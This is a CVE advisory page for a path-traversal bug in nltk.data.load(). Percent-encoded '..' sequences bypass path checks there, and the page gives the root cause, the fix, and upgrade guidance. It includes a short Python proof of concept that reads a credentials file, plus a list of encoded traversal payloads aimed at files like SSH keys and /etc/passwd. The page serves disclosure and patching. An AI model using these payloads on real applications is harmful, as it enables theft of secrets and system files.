CVE-2026-12243 — Vulnerability in nltk — CVE Details
nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences
Does your project use an affected nltk version?
Paste your requirements.txt to check it for CVE-2026-12243 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.
Vulnerable Code
nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path_, url2pathname(resource_name)) if os.path.exists(p): return FileSystemPathPointer(p)
Proof of Concept
import nltk.data nltk.data.path = ["/home/user/nltk_data"] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load("%2e%2e/SECRET_credentials.txt", format="raw") print(data) b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n' All of these bypass path checks and decode identically:
Payload After url2pathname()
%2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.
Fix
Decode before checking:
from urllib.parse import unquote resource_name = unquote(resource_name) # decode first, then validate
Impact
An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().
Advisory Timeline
- First published August 13, 2026 (105 days ago).
- Last revised August 13, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "nltk>=3.10.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| nltk PyPI · Affected: 0.8, 0.9, 0.9.3, 0.9.4 (+61 more) | 3.10.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
References
- https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-12243ADVISORY
- https://github.com/nltk/nltk/issues/3504WEB
- https://github.com/nltk/nltk/pull/3522WEB
- https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9WEB
- https://github.com/nltk/nltkPACKAGE
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yamlWEB
- https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1WEB
- https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequencesWEB
Frequently Asked Questions
- What is CVE-2026-12243?
- nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2026-12243?
- CVE-2026-12243 affects nltk. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-12243 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
Also Known As
Related CVEs
- CVE-2025-14009CRITICAL
NLTK has a Zip Slip Vulnerability
- CVE-2026-66393HIGH
- CVE-2026-62385HIGH
- CVE-2026-128134HIGH
NLTK dot2img runs Graphviz 'dot' without the trusted-exec chokepoint, enabling local code execution via a writable PATH element
- CVE-2025-71408HIGH
NLTK vulnerable to Eval Injection via collocations CLI arguments
- CVE-2026-12075HIGH
Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode
- CVE-2026-12259MEDIUM
- CVE-2026-129231MEDIUM
NLTK: Quadratic-time DoS in SeekableUnicodeStreamReader.readline on an unterminated corpus line via per-iteration full-buffer rescan